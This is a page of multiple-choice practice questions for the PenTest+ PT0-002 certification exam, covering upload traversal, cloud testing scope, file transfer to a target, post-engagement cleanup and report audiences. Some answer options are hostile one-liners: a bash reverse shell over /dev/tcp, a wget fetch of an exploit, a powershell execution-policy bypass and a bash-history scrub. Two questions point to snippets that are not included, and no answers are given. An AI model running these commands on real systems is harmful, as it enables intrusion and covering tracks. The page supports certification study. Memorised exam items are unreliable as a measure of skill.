PT0-002 practice questions, page 2 of 22, with answer review and explanations.
Question 6
A penetration tester discovered a vulnerability that provides the ability to upload to a path via discovery traversal. Some of the files that were discovered through this vulnerability are: Which of the following is the BEST method to help an attacker gain internal access to the affected machine?
Edit the discovered file with one line of code for remote callback.
Download .pl files and look for usernames and passwords.
Edit the smb.conf file and upload it to the server.
Download the smb.conf file and look at configurations.
Question 7
A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data. Which of the following should the tester verify FIRST to assess this risk?
Whether sensitive client data is publicly accessible
Whether the connection between the cloud and the client is secure
Whether the client's employees are trained properly to use the platform
Whether the cloud applications were developed using a secure SDLC
Question 8
A penetration tester ran the following command on a staging server: python -m SimpleHTTPServer 9891 Which of the following commands could be used to download a file named exploit to a target machine for execution?
nc 10.10.51.50 9891 < exploit
powershell -exec bypass -f \\10.10.51.50\9891
bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit
wget 10.10.51.50:9891/exploit
Question 9
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: Which of the following commands should the penetration tester run post-engagement?
grep -v apache ~/bash_history > ~/.bash_history
rm -rf /tmp/apache
chmod 600 /tmp/apache
taskkill /IM ג€apacheג€ /F
Question 10
Which of the following is MOST important to include in the final report of a static application-security test that was written with a team of application developers as the intended audience?
Executive summary of the penetration-testing methods used
Bill of materials including supplies, subcontracts, and costs incurred during assessment
Quantitative impact assessments given a successful software compromise
Code context for instances of unsafe typecasting operations